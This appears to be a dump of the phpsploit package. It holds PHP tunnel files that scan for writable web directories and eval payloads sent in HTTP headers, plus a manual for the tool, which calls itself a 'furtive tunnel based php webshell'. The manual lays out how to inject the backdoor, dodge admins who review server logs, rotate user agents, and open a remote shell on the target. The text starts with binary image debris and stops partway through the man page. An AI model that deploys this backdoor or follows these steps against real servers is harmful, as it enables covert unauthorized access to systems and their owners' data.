+Šĸ(ŠĸčŠĸ(Š€Ž(Šĸ(ŠĸčŠĸ(Š€Ž(Šĸ(Š" +Šĸ(ēĸ(Šĸ(Š" +Šĸ(ēĸ(Šĸ(Š€Ž(ŠĸčŠĸ(Šĸ(Š€Ž(ŠĸčŠĸ(Šĸ(ēĸ(Š" +Šĸ(Šĸ(ēĸ(Š" +Šĸ(ŠĸčŠĸ(Š€Ž(Šĸ(ŠĸčŠĸ(ĘÖæ˙ļ)Ų ˙Ō‰%tEXtdate:create2020-08-27T21:08:29+00:00Ôj ˇ%tEXtdate:modify2020-08-27T21:08:29+00:00Ĩ7´ IENDŽB`‚phpsploit-3.2+git20240329.aea961d/data/logo.ascii000066400000000000000000000026521460155776400210450ustar00rootroot00000000000000 ██▓███ ██░ ██ ██▓███ ██████ ██▓███ ██▓ ▒█████ ██▓▄▄▄█████▓ ▓██░ ██ ▒▓██░ ██ ▓██░ ██ ▒██ ▒ ▓██░ ██ ▓██▒ ▒██▒ ██▒▒▓██▒▓ ██▒ ▓▒ ▓██░ ██▓▒░▒██▀▀██ ▓██░ ██▓▒░ ▓██▄ ▓██░ ██▓▒ ▒██░ ▒██░ ██▒▒▒██▒▒ ▓██░ ▒░ ▒██▄█▓▒ ▒ ░▓█ ░██ ▒██▄█▓▒ ▒ ▒ ██▒▒██▄█▓▒ ▒ ▒██░ ▒██ ██░░░██░░ ▓██▓ ░ ▒██▒ ░ ░ ░▓█▒░██▓▒██▒ ░ ░▒██████▒▒▒██▒ ░ ░▒░██████░ ████▓▒░░░██░ ▒██▒ ░ ▒▓▒░ ░ ░ ▒ ░░▒░▒▒▓▒░ ░ ░▒ ▒▓▒ ▒ ░▒▓▒░ ░ ░░░ ▒░▓ ░ ▒░▒░▒░ ░▓ ▒ ░░ ░▒ ░ ▒ ░▒░ ░░▒ ░ ░ ░▒ ░ ░▒ ░ ░░ ░ ▒ ░ ▒ ▒░ ░ ▒ ░ ░ ░░ ░ ░░ ░░░ ░ ░ ░ ░░ ░ ░ ░ ░ ░ ▒ ░ ▒ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ phpsploit-3.2+git20240329.aea961d/data/plugin-sample/000077500000000000000000000000001460155776400216435ustar00rootroot00000000000000phpsploit-3.2+git20240329.aea961d/data/plugin-sample/category_name/000077500000000000000000000000001460155776400244605ustar00rootroot00000000000000phpsploit-3.2+git20240329.aea961d/data/plugin-sample/category_name/plugin_example/000077500000000000000000000000001460155776400274715ustar00rootroot00000000000000phpsploit-3.2+git20240329.aea961d/data/plugin-sample/category_name/plugin_example/plugin.py000066400000000000000000000016651460155776400313510ustar00rootroot00000000000000"""Plugin's `plugin.py` file docstring (title line) SYNOPSIS: plugin_example DESCRIPTION: This plugin is a sample made to understand how phpsploit plugins are structured. If the `api` module is imported outside a real plugin runtime (for example through `corectl python-console`), then the API defaulty assumes this sample plugin as the current one for learning purposes. This text is the docstring of current plugin's python file (plugin.py). It means that running `help ` will display this docstring. Writting a plugin should comport a docstring formatted like this one, with at least a title (first line), and the following sections: SYNOPSIS DESCRIPTION AUTHROS and/or MAINTAINERS AUTHORS: nil0x42 """ # standard library modules import sys # phpsploit framework modules import api print(" ".join(api.plugin.argv)) sys.exit() phpsploit-3.2+git20240329.aea961d/data/quotes.lst000066400000000000000000000005161460155776400211340ustar00rootroot00000000000000All roads lead to r00t... A PHP oneliner to bring them all... Hack the Gibson ! PhpSploit Phor Phun and Prophit The nail that sticks out gets hammered down... Details make perfection, and perfection is not a detail Computer Science is no more about computers than astronomy is about telescopes You are Not Expected to Understand This phpsploit-3.2+git20240329.aea961d/data/tunnel/000077500000000000000000000000001460155776400203735ustar00rootroot00000000000000phpsploit-3.2+git20240329.aea961d/data/tunnel/connector.php000066400000000000000000000053441460155776400231040ustar00rootroot00000000000000<", "dkdk"); if (@file_exists($t)) @unlink($t); $t = @dirname($t); } } return ($t); } // $R: // raw array of variables returned by the connector. // This array shall contain enough informations to // determine tunnel environment variables that // will be used by phpsploit for the created tunnel. $R = $_SERVER; $R['PHP_OS'] = PHP_OS; $R['PHP_VERSION'] = PHP_VERSION; // Determine WEB_ROOT environment variable $R['WEB_ROOT'] = $R['DOCUMENT_ROOT']; if (!$R['WEB_ROOT']) $R['WEB_ROOT'] = $R['APPL_PHYSICAL_PATH']; if (!$R['WEB_ROOT']) { $rel = $R['SCRIPT_NAME']; $abs = $R['SCRIPT_FILENAME']; if (!$rel || !$abs) { $rel = $R['PATH_INFO']; $abs = $R['PATH_TRANSLATED']; } if ($rel && $abs) { foreach (Array("\\\\", "\\", "/") as $sep) { $tmp = str_replace("/", $sep, $rel); $len = strlen($tmp); if($tmp == substr($abs, -$len)) $R['WEB_ROOT'] = substr($abs, 0, -$len); } } } if (($x = @realpath($R['WEB_ROOT'])) !== False) $R['WEB_ROOT'] = $x; // Determine WRITEABLE_WEBDIR. // This code recursively browses subdirectories, // starting with the WEB_ROOT, and searching for the // writeable path which is the closest to WER_BOOT. $MAX_RECURSION = 6; $dir_list = Array($R['WEB_ROOT']); $R['WRITEABLE_WEBDIR'] = ''; for ($recursion = 1; $recursion <= $MAX_RECURSION; $recursion++) { foreach ($dir_list as $dir) { if (dirAccess($dir, 'w')){ $R['WRITEABLE_WEBDIR'] = @realpath($dir); break (2); } } if ($recursion == $MAX_RECURSION) break; $parent_dir_list = $dir_list; $dir_list = Array(); foreach ($parent_dir_list as $dir) { if ($h = @opendir($dir)) { while (($elem = readdir($h)) !== FALSE) { if ($elem != '.' && $elem != '..') { if ((@fileperms($dir.'/'.$elem) & 0x4000) == 0x4000) { $dir_list[]=$dir.'/'.$elem; } } } closedir($h); } } } $tmp = get_tmp_dir(); $R['WRITEABLE_TMPDIR'] = (dirAccess($tmp,'w')) ? $tmp : $R['WRITEABLE_WEBDIR']; return $R; ?> phpsploit-3.2+git20240329.aea961d/data/tunnel/encapsulator.php000066400000000000000000000026101460155776400236030ustar00rootroot00000000000000 $val) { if ($val["access"] & 1) $orig_conf[$key] = $val["local_value"]; else unset($orig_conf[$key]); } // %%PAYLOAD%% is replaced by $PAYLOAD_PREFIX configuration setting. // This feature allows executing something in php each time the // payload is executed, because any sent request is encapsulated // through this file. %%PAYLOAD_PREFIX%% // container for dynamic input variables, transmitted from plugins // at python side (plugin.py files). $PHPSPLOIT = array(); // allows php-side plugins to use `return error("something")` // with a printf()-like flavour. // This is the correct way to inform the framework that output // is an error message. function error($a='', $b=False, $c=False, $d=False, $e=False) { return (array('__ERROR__' => sprintf($a, $b, $c, $d, $e))); } // %%PAYLOAD%% is replaced by the dynamically built payload // before each remote plugin execution. function payload() { %%PAYLOAD%% } // handle payload result and output it's gzipped content. $result = payload(); if (! is_array($result) || array_keys($result) !== array('__ERROR__')) $result = array('__RESULT__' => $result); echo gzcompress(serialize($result)); // restore backed php configuration state. foreach ($orig_conf as $key => $val) @ini_set($key, $val); ?> phpsploit-3.2+git20240329.aea961d/data/tunnel/forwarders/000077500000000000000000000000001460155776400225515ustar00rootroot00000000000000phpsploit-3.2+git20240329.aea961d/data/tunnel/forwarders/get.php000066400000000000000000000001471460155776400240430ustar00rootroot00000000000000$b)if(substr($a,0,7)=='HTTP_ZZ')$x.=$b;eval(%s); ?> phpsploit-3.2+git20240329.aea961d/data/tunnel/forwarders/post.php000066400000000000000000000000531460155776400242450ustar00rootroot00000000000000 phpsploit-3.2+git20240329.aea961d/data/tunnel/multipart/000077500000000000000000000000001460155776400224145ustar00rootroot00000000000000phpsploit-3.2+git20240329.aea961d/data/tunnel/multipart/reader.php000066400000000000000000000001741460155776400243710ustar00rootroot00000000000000 phpsploit-3.2+git20240329.aea961d/data/tunnel/multipart/sender.php000066400000000000000000000001371460155776400244060ustar00rootroot00000000000000 phpsploit-3.2+git20240329.aea961d/data/tunnel/multipart/starter.php000066400000000000000000000001371460155776400246120ustar00rootroot00000000000000 phpsploit-3.2+git20240329.aea961d/data/tunnel/payload_prefix.php000066400000000000000000000006471460155776400241210ustar00rootroot00000000000000 phpsploit-3.2+git20240329.aea961d/data/user_agents.lst000066400000000000000000000020421460155776400221270ustar00rootroot00000000000000Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36 Mozilla/5.0 (Windows NT 6.1; WOW64; rv:41.0) Gecko/20100101 Firefox/41.0 Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.71 Safari/537.36 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11) AppleWebKit/601.1.56 (KHTML, like Gecko) Version/9.0 Safari/601.1.56 Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36 Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36 Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit/601.1.56 (KHTML, like Gecko) Version/9.0 Safari/601.1.56 phpsploit-3.2+git20240329.aea961d/docs/000077500000000000000000000000001460155776400171055ustar00rootroot00000000000000phpsploit-3.2+git20240329.aea961d/docs/_config.yml000066400000000000000000000000331460155776400212300ustar00rootroot00000000000000theme: jekyll-theme-minimalphpsploit-3.2+git20240329.aea961d/man/000077500000000000000000000000001460155776400167305ustar00rootroot00000000000000phpsploit-3.2+git20240329.aea961d/man/README000066400000000000000000000010001460155776400175770ustar00rootroot00000000000000# Brief description of current directory files ./man.txt2tags ============== Manually editable text file, designed to be converted into standard man page through `./update-man.sh`. It uses txt2tags markup syntax. ./update-man.sh =============== Generate 'phpsploit.1' and 'phpsploit.txt' from 'man.txt2tags'. ./phpsploit.1 ============= Man page generated by `./update-man.sh` (do not edit by hand !) ./phpsploit.txt =============== Textual man page generated by `./update-man.sh` (do not edit by hand !) phpsploit-3.2+git20240329.aea961d/man/man.txt2tags000066400000000000000000000445301460155776400212130ustar00rootroot00000000000000 PHPSPLOIT = NAME = **phpsploit** — furtive tunnel based php webshell = SYNOPSIS = **phpsploit** [//target-url//|//session//] = DESCRIPTION = **phpsploit** is a furtive tunnel //based// php webshell: it was designed in order to help privilege escalation through a very small php backdoor, while remaining the most stealth, efficient, and adjustable as possible. It innovates by settling for a remotely stored micro backdoor that forwards to dynamic encoded HTTP headers, which act as dynamic payload. This feature is usefull to bypass admins searching for suspicious lines in the server logs, because GET requests without arguments, are not as suspect as POST requests, or GET requests with suspicious arguments (eg: "?cmd=cat&edit=/etc/passwd"). The **phpsploit** framework is plugin based, so users can easily make their own plugins, or edit the built-in ones, with the //pspapi// (phpsploit API) that interracts with the target server through the framework. Its structure allows him to evolve and be easily adapted to all types of web exploitation scenarios, because every setting can be edited //globally// (through user configuration file), or //locally//, using the **set** command. A backdoor to bring them all... - https://bitbucket.org/nil0x42/phpsploit = OPTIONS = Running **phpsploit** without any argument runs a blank session, with all settings set to default. : If an URL is specified as argument, only sets the //TARGET// setting to that value. **$ phpsploit http://127.0.0.1/backdoored-url.php** : You also can use a previously saved //session// file as argument, to use him instead of a blank session. Sessions can (and need to) be saved with the **save** command. **$ phpsploit ~/targets/localhost/phpsploit.session** : For inline help, you also can use **phpsploit --help** = USAGE = The most basic way to use phpsploit it as described here: + First, find a remote php execution access. + Open phpsploit, and run the **infect** command to get the working backdoor. + Inject that backdoor on the remote server. + Run "**set TARGET http://site/backdoored-url.php**". + You also can edit some **SETTINGS** (with the "**set**" command), such as the PROXY, or REQ_* variables. + Just type "**exploit**", and enjoy your remote shell access :) //WARNING//: If the "**exploit**" command doesn't works, and returns an error, it can be for a lot of reasons: + **HTTP Error 400: Bad request** - Generally, this error occurs because one or some **REQ_*** settings are too big for the server. So you need to settle their values. + **Request error: Connection refused** - If you are sure that the specified **TARGET** is accessible from your computer (or from the **PROXY** if defined), this error can occur because the **PROXY** is invalid + If you have injected your **BACKDOOR** in an existing remote php code, make sure it is each time executed. + Other issues can occur because one of your **SETTINGS** where modified without taking care of their validity, or because an IDS has detected the exploitation try. + If the encountered issue is not in the list, you can also post an issue with all details here: https://bitbucket.org/nil0x42/phpsploit/issues or contact the Author (see the **AUTHOR** section) = INTERFACE = The **phpsploit** framework includes two shell interfaces. - The **MAIN SHELL** is the first shell interface, spawned when the framework starts. It is used to prepare a target exploitation. Through it, you can locally adjust the **SETTINGS** with the "**set**" command, and use the "**infect**" command to get the micro-backdoor that needs to be injected on the target. - The **REMOTE SHELL** interface starts when a target server was exploited. Its is used to interract with the backdoored URL. **TO GET HELP** on a phpsploit command, you can use "**help **", "** --help**" or "** -h**". If there is no specific help for a command, such as **infect**, a short description of each command's purpose is available typing **help** without arguments. The commands are auto-completed on unix clients, and try to use **readline** if available. They are divided into groups when shown whith the "**help**" command: - The **CORE COMMANDS** contains all commands available through every interface. - The Shell Commands contains the commands specific to the current interface. - In the remote shell, plugin commands are grouped by categories. //Core Commands:// : **clear** Clear the terminal screen : **exit** Leave the current shell interface : **help** Shows help for all available commands : **infect** Prints a working backdoor to inject in the target : **lcd** Change local working directory : **lpwd** Print local working directory : **rtfm** Read this manual page : **save** Save the current session in a file, for future usage : **set** View and edit phpsploit settings = MAIN SHELL = When entering **phpsploit**, the main shell is spawned, it helps you to locally edit your settings (**set** command), get the working backdoor (**infect** command), and then start the //remote shell// (**exploit** command). //Shell Commands:// : **exploit** Drop a shell from target server = REMOTE SHELL = When you run the **exploit** command, you enter the remote shell, and directly interracts with the remotely backdoored server through the **phpsploit** plugins. Typing **help** will show the available commands. **Core Commands** are all the **phpsploit** remote shell built-in commands. //Shell Commands:// : **env** This command interracts with the environment variables, for more informations, please read the **REMOTE ENVIRONMENT** section. : **lastcmd** Allows user to show or save the last command output : **reload** Reloads the commands list, usefull if you have edited one plugin during an exploitation session : **shell** Various command plugins, such as //system//, //mysql// and //suidroot// can be used as frontend shell. For example, "**> shell system**" will spawn the "**system**" command as default prompt, making all typed lines to be executed by this plugin. All the other remote shell commands are in reality dynamic plugins, built with the **PSPAPI** (phpsploit API). As with all commands, you can use "**help **" to get help. The built-in plugins are storred in the //./framework/plugins/// directory, sorted by categories, you can edit a built-in or make your own command, with the **PSPAPI**. If you want to make you own plugin, it is recommended to use the alternative plugin directory //./plugins/// from the phpsploit's user directory, this one works exactly like the buit-in plugins directory. If a command has been edited during an exploitation session, use the "**reload**" command to reload the plugins list. = SETTINGS = The **phpsploit** settings are available from the interface, they can be viewed, and edited with the **set** command. When a new session is opened, all //settings// are set to their default values, specified in the phpsploit's user configuration file. Editing this file allows you to specify your own default values, a very usefull feature for polymorphic backdoor, or custom HTTP headers. To get more informations about the configuration directory, please go to the **FILES** section. : **TARGET** This setting contains the remote backdoored URL in target server, for example, if you have injected the backdoor (obtained with the **infect** command) on a file named **test.php** in your local server's webroot, the **TARGET** will be http://localhost/test.php . **Default value: None** : **BACKDOOR** This is the backdoor template, used to generate the effective micro-payload to be written into a target web page, it needs to be valid php code, and it's preferable to make him non-verbose, by prexifing it's main function with an //@//. For example, //@//eval() instead of eval(). For more informations about how **phpsploit** builds request, please read the **REQUEST BUILDING** section. The only purpose of the **BACKDOOR** is to execute the **REQ_HEADER_PAYLOAD**'s content so it need to contain the dynamic var %%PASSKEY%%. **Default value: ** : **PASSKEY** This var is interesting for customisation, assuming it is used as main header forwarder's name, changing is default value will act as a //password//, making another **phpsploit** user unable to use your //backdoor// if it does not own the **PASSKEY**. **Default value: phpSpl01t** : **PROXY** With this setting, you can specify an //HTTP Proxy//, matching the pattern **address:port**, to send **phpsploit**'s requests through it. Be carrefull, a non-working **PROXY** will make the requests unreachable. To disable the proxy, set it's value to **None**. **Default value: None** : **SAVEPATH** Here you can specify the default directory that will be used to save **phpsploit** sessions, when no arguments are specified for the **save** command. It uses your system's temporary directory as //default// value. : **TMPPATH** This setting is a bit different than the **SAVEPATH** one, because phpsploit use it to write temporary files, for example, it is used by the **edit** command in the //remote shell//. It uses your system's temporary directory as //default// value. : **REQ_DEFAULT_METHOD** This is the default http METHOD that will be used to send payloads, so it's value can only be //GET// or //POST//. **Default value: GET** : **REQ_HEADER_PAYLOAD** This setting is the dynamic payload forwarder, when a request is send by the **phpsploit** framework, a dynamic //HTTP HEADER// will be sent on eaceh request, the header's name is the **PASSKEY** setting, and the value is the **REQ_HEADER_PAYLOAD** value, for more informations about how **phpsploit** builds requests, please read the **REQUEST BUILDING** section. **Default value: eval(base64_decode(%%BASE64%%))** : **REQ_INTERVAL** This setting can be usefull for large payloads, sent with a big amount of requests, for example, when using the **upload**'s remote shell command, when seending a big file to the server. It's used to add a delay between each request with a simple syntax. Using a number as value (ex: 20) will wait this exact numer of seconds, but you cal also specify a tuple of numbers, for example, the default value will make the builder wait a random number of seconds between **1** and **10** before each request. To disable it, just set it to //0//. **Default value: 1-10** : **REQ_MAX_HEADERS** **Mainly used for HTTP GET requests**. Assuming that phpsploit use http headers for payload encapsulation, it's important to know what is the exact http server's headers limit, because a too small **REQ_MAX_HEADERS** value will decrease the max payload size per request. Most servers, like apache and IIS accept up to 100 headers per request, but other servers can allow 200 headers or more, and smaller servers can limit headers numer to 50 or less. The default value works with a large amount of common servers with default configuration, but in some cases it will be necessary to reduce this value. **Default value: 100** : **REQ_MAX_HEADER_SIZE** **Mainly used for HTTP GET requests**. This setting is complementary to the **REQ_MAX_HEADERS** one, because it sets the max size that //each header// can contain. In most cases, the common servers limit the size to //8Kio//, but many others, like **apache tomcat** and a lot of virtualized web hosting solutions limit the maximum size of each header to //4Kio// or less. **Default value: 8Kb** : **REQ_MAX_POST_SIZE** **Mainly used for HTTP POST requests**. This is the target server's limit for POST data, in a lot of servers, this limit is very large, such as 32Mio or more, but a lot of other web servers, and their default configurations sets this limit to 8Mio. If you intend to use POST request during a remote **phpsploit** session, it is recommended to run the **phpinfo** command that provides the real server's //maximum post size//, then adapt the **phpsploit**'s **REQ_MAX_POST_SIZE**. **Default value: 8Mb** : **REQ_ZLIB_TRY_LIMIT** On the **phpsploit**'s request builder, when the payload can't be sent in one single request because he is too large, the framework will start a lot of computering functions to calculate how much requests are needed for each //http method//, and to decrease the number of needed requests, he will each time try to compress the payload with **ZLIB**, this feature is usefull to descrease the number of requests. But, the bigger the base payload, the slower the needed computation time. Assuming this, you can with this setting specify a maximum payload size, from which the manufacturer will not longer try to compress the cuted payload. That will increase the number of needed requests, but shalt the computation time acceptable. More powerfull your computer, more this value can be increased. **Default value: 5Mb** : **HTTP_USER_AGENT** This is the user-agent header used on each **phpsploit** request, to pick a random user-agent from a wordlist on each request, you can also use a //file object// as value. **Default value: file://framework/misc/http_user_agents.lst** ------------------------------------------------------------------------------ Note that the **HTTP_USER_AGENT** setting is included by default, but it is possible to create as many default headers as you want, you just need to create a setting starting with HTTP_ followed by the name of the header. **Example: set HTTP_ACCEPT_LANGUAGE fr-FR;en-US** //File objects// can be used for HTTP_* settings, the syntax is **file:///full/path/to/file.txt**, these objects will pick an random line in file for each http request. This facilitates polymorphic requests generation, and therefore, stealth. A file object is defaultly used for the **HTTP_USER_AGENT** setting. = REMOTE ENVIRONMENT = The remote environment variables are available from the **REMOTE SHELL**. They are usefull to store server related informations, and **PSPAPI** plugins have write access to them. User can show, edit or delete them with the "**env**" command, through the **REMOTE SHELL** instance. Be very careful while manually editing these variables, because wrong values can render inoperative certain commands. There is a list of **REMOTE ENVIRONMENT** variables defaultly used by **phpsploit** core and built-in plugins: : **CWD** This variable contains the current remote working directory, the **cd** and **pwd** commands use it as reference. : **WEB_ROOT** This variable contains the absolute path to the remote web root directory. : **WRITE_TMPDIR** This variable imperatively needs to conatain the absolute path to a writeable remote directory. It is essential for multirequest payloads execution, that stores full payload parts into this path. : **WRITE_WEBDIR** This environment variable contains the absolute path to a writeable remote directory //imperatively accessible from the web//. It can be used for evasion **MODULES**. = REQUEST BUILDING = This section is about how the **phpsploit framework** manages the requests. **1 - BACKDOOR** - First, the **BACKDOOR** setting defines the main backdoor template, him, //and only HIM// needs to be written in the **TARGET** remote URL. - To understand the principle, it is necessary to know that the PHP language automatically adds all the //request headers// into the $_SERVER global array, prefixing each header name by the "HTTP_" string. - Assuming that, the **BACKDOOR** just works like a forwarder, executing the $_SERVER['HTTP_%%**PASSKEY**%%'] remote variable who contains the **REQ_HEADER_PAYLOAD**. **2 - REQ_HEADER_PAYLOAD** - The **REQ_HEADER_PAYLOAD** also known as //Header Forwarder// is a header that is sent on each http request, the **PASSKEY** setting is used as name, and the **REQ_HEADER_PAYLOAD** is he's value's template. - This header acts like a payload forwarder, permitting execution of the **BASE64 PAYLOAD**, by executing **BASE64** encoded php code. **3 - BASE64 PAYLOAD** - The **BASE64 PAYOLOAD** is automatically generated for each request, he is the last step for //real payload execution//. They undencoded values can be found in the //./framework/phpfiles/forwarders/// **phpsploit** directory. - **For POST request**, this payload executes the $POST['%%**PASSKEY**%%'] php variable, who is used as **REAL PAYLOAD** when usgin this http method. - **For GET requests**, it acts concatenating the list of dynamic **phpsploit** headers alphabetically reordrered, each containing the splitted **REAL PAYLOAD**. **4 - REAL PAYLOAD** - The **REAL PAYLOAD** contains a large amout of //zlib compressed// then //base64 encoded// php code, who is dynamically generated by the **phppsloit** framework's optimization functions. - Unencoded (defaultly done by the **BASE64 PAYLOAD**), he is the **BASE PAYLOAD** passed through **ENCAPSULATION**. **5 - BASE PAYLOAD** - The base payload, can be a plugin's payload (contained in the //./framework/commands///payload.php// file), or the default **phpsploit** remote session opener that is called when running the **exploit** command (available in the //./framework/phpfiles/server_link/open.php// file). - Base payloads are php 4.1.1 compatible (because a lot of web servers already use an old version of php). - The //!import()// lines allows php base payloads to import **phpsploit** dedicated functions contained in the//./framework/phplibs/// directory. Usefull to limit redundancy. **6 - ENCAPSULATION** - To manage return codes and **phpsploit** tunneling, each **BASE PAYLOAD** is encapsulated with the //./framework/phpfiles/encapsulator.php//'s php code. - It also manages response compression with **ZLIB**, to speed-up server's responses. = FILES = **Configuration directory:** : If the **$XDG_CONFIG_HOME** shell environment variable is set: **${XDG_CONFIG_HOME}/phpsploit/** (a.k.a. likely ~/.config/phpsploit/) : Else the user home is used as base directory: **~/.phpsploit/** (a.k.a. ${HOME}/.phpsploit/ on GNU/Linux) The "./config" file is used as **phpsploit** configuration file, on root user's configuration directory. It allows to reconfigure the default **SETTINGS** (see the **SETTINGS** section for more informations) The "./plugins/" directory can be used to make your own **phpsploit** plugins. = ISSUES = : To submit any issue, bug or proposal, please send it in the phpsploit's issues section: https://bitbucket.org/nil0x42/phpsploit/issues = CONTRIBUTE = : If you want to contribute to **phpsploit**, submit a plugin, patch, or anything else, take a look at the **CONTRIBUTE** file, from the ./doc directory = AUTHOR = **nil0x42** = LICENCE = This software is under the GNU GENERAL PUBLIC LICENSE Version 3, 29 June 2007 phpsploit-3.2+git20240329.aea961d/man/phpsploit.1000066400000000000000000000470751460155776400210510ustar00rootroot00000000000000.TH "" 1 "" "" .P PHPSPLOIT .SH NAME .P \fBphpsploit\fR — furtive tunnel based php webshell .SH SYNOPSIS .P \fBphpsploit\fR [\fItarget\-url\fR|\fIsession\fR] .SH DESCRIPTION .P \fBphpsploit\fR is a furtive tunnel \fIbased\fR php webshell: it was designed in order to help privilege escalation through a very small php backdoor, while remaining the most stealth, efficient, and adjustable as possible. .P It innovates by settling for a remotely stored micro backdoor that forwards to dynamic encoded HTTP headers, which act as dynamic payload. This feature is usefull to bypass admins searching for suspicious lines in the server logs, because GET requests without arguments, are not as suspect as POST requests, or GET requests with suspicious arguments (eg: "?cmd=cat&edit=/etc/passwd"). .P The \fBphpsploit\fR framework is plugin based, so users can easily make their own plugins, or edit the built\-in ones, with the \fIpspapi\fR (phpsploit API) that interracts with the target server through the framework. .P Its structure allows him to evolve and be easily adapted to all types of web exploitation scenarios, because every setting can be edited \fIglobally\fR (through user configuration file), or \fIlocally\fR, using the \fBset\fR command. .P A backdoor to bring them all... \- https://bitbucket.org/nil0x42/phpsploit .SH OPTIONS .P Running \fBphpsploit\fR without any argument runs a blank session, with all settings set to default. .TP If an URL is specified as argument, only sets the \fITARGET\fR setting to that value. \fB$ phpsploit http://127.0.0.1/backdoored\-url.php\fR .TP You also can use a previously saved \fIsession\fR file as argument, to use him instead of a blank session. Sessions can (and need to) be saved with the \fBsave\fR command. \fB$ phpsploit ~/targets/localhost/phpsploit.session\fR .TP For inline help, you also can use \fBphpsploit \-\-help\fR .SH USAGE .P The most basic way to use phpsploit it as described here: .RS .IP 1. 3 First, find a remote php execution access. .IP 2. 3 Open phpsploit, and run the \fBinfect\fR command to get the working backdoor. .IP 3. 3 Inject that backdoor on the remote server. .IP 4. 3 Run "\fBset TARGET http://site/backdoored\-url.php\fR". .IP 5. 3 You also can edit some \fBSETTINGS\fR (with the "\fBset\fR" command), such as the PROXY, or REQ_* variables. .IP 6. 3 Just type "\fBexploit\fR", and enjoy your remote shell access :) .RE .P \fIWARNING\fR: If the "\fBexploit\fR" command doesn't works, and returns an error, it can be for a lot of reasons: .RS .IP 1. 3 \fBHTTP Error 400: Bad request\fR \- Generally, this error occurs because one or some \fBREQ_*\fR settings are too big for the server. So you need to settle their values. .IP 2. 3 \fBRequest error: Connection refused\fR \- If you are sure that the specified \fBTARGET\fR is accessible from your computer (or from the \fBPROXY\fR if defined), this error can occur because the \fBPROXY\fR is invalid .IP 3. 3 If you have injected your \fBBACKDOOR\fR in an existing remote php code, make sure it is each time executed. .IP 4. 3 Other issues can occur because one of your \fBSETTINGS\fR where modified without taking care of their validity, or because an IDS has detected the exploitation try. .IP 5. 3 If the encountered issue is not in the list, you can also post an issue with all details here: https://bitbucket.org/nil0x42/phpsploit/issues or contact the Author (see the \fBAUTHOR\fR section) .RE .SH INTERFACE .P The \fBphpsploit\fR framework includes two shell interfaces. .RS .IP \(bu 3 The \fBMAIN SHELL\fR is the first shell interface, spawned when the framework starts. It is used to prepare a target exploitation. Through it, you can locally adjust the \fBSETTINGS\fR with the "\fBset\fR" command, and use the "\fBinfect\fR" command to get the micro\-backdoor that needs to be injected on the target. .IP \(bu 3 The \fBREMOTE SHELL\fR interface starts when a target server was exploited. Its is used to interract with the backdoored URL. .RE .P \fBTO GET HELP\fR on a phpsploit command, you can use "\fBhelp \fR", "\fB \-\-help\fR" or "\fB \-h\fR". If there is no specific help for a command, such as \fBinfect\fR, a short description of each command's purpose is available typing \fBhelp\fR without arguments. .P The commands are auto\-completed on unix clients, and try to use \fBreadline\fR if available. They are divided into groups when shown whith the "\fBhelp\fR" command: .RS .IP \(bu 3 The \fBCORE COMMANDS\fR contains all commands available through every interface. .IP \(bu 3 The Shell Commands contains the commands specific to the current interface. .IP \(bu 3 In the remote shell, plugin commands are grouped by categories. .RE .P \fICore Commands:\fR .TP \fBclear\fR Clear the terminal screen .TP \fBexit\fR Leave the current shell interface .TP \fBhelp\fR Shows help for all available commands .TP \fBinfect\fR Prints a working backdoor to inject in the target .TP \fBlcd\fR Change local working directory .TP \fBlpwd\fR Print local working directory .TP \fBrtfm\fR Read this manual page .TP \fBsave\fR Save the current session in a file, for future usage .TP \fBset\fR View and edit phpsploit settings .SH MAIN SHELL .P When entering \fBphpsploit\fR, the main shell is spawned, it helps you to locally edit your settings (\fBset\fR command), get the working backdoor (\fBinfect\fR command), and then start the \fIremote shell\fR (\fBexploit\fR command). .P \fIShell Commands:\fR .TP \fBexploit\fR Drop a shell from target server .SH REMOTE SHELL .P When you run the \fBexploit\fR command, you enter the remote shell, and directly interracts with the remotely backdoored server through the \fBphpsploit\fR plugins. Typing \fBhelp\fR will show the available commands. \fBCore Commands\fR are all the \fBphpsploit\fR remote shell built\-in commands. .P \fIShell Commands:\fR .TP \fBenv\fR This command interracts with the environment variables, for more informations, please read the \fBREMOTE ENVIRONMENT\fR section. .TP \fBlastcmd\fR Allows user to show or save the last command output .TP \fBreload\fR Reloads the commands list, usefull if you have edited one plugin during an exploitation session .TP \fBshell\fR Various command plugins, such as \fIsystem\fR, \fImysql\fR and \fIsuidroot\fR can be used as frontend shell. For example, "\fB> shell system\fR" will spawn the "\fBsystem\fR" command as default prompt, making all typed lines to be executed by this plugin. .P All the other remote shell commands are in reality dynamic plugins, built with the \fBPSPAPI\fR (phpsploit API). As with all commands, you can use "\fBhelp \fR" to get help. .P The built\-in plugins are storred in the \fI./framework/plugins/\fR directory, sorted by categories, you can edit a built\-in or make your own command, with the \fBPSPAPI\fR. .P If you want to make you own plugin, it is recommended to use the alternative plugin directory \fI./plugins/\fR from the phpsploit's user directory, this one works exactly like the buit\-in plugins directory. .P If a command has been edited during an exploitation session, use the "\fBreload\fR" command to reload the plugins list. .SH SETTINGS .P The \fBphpsploit\fR settings are available from the interface, they can be viewed, and edited with the \fBset\fR command. .P When a new session is opened, all \fIsettings\fR are set to their default values, specified in the phpsploit's user configuration file. Editing this file allows you to specify your own default values, a very usefull feature for polymorphic backdoor, or custom HTTP headers. To get more informations about the configuration directory, please go to the \fBFILES\fR section. .TP \fBTARGET\fR This setting contains the remote backdoored URL in target server, for example, if you have injected the backdoor (obtained with the \fBinfect\fR command) on a file named \fBtest.php\fR in your local server's webroot, the \fBTARGET\fR will be http://localhost/test.php . .RS \fBDefault value: None\fR .RE .TP \fBBACKDOOR\fR This is the backdoor template, used to generate the effective micro\-payload to be written into a target web page, it needs 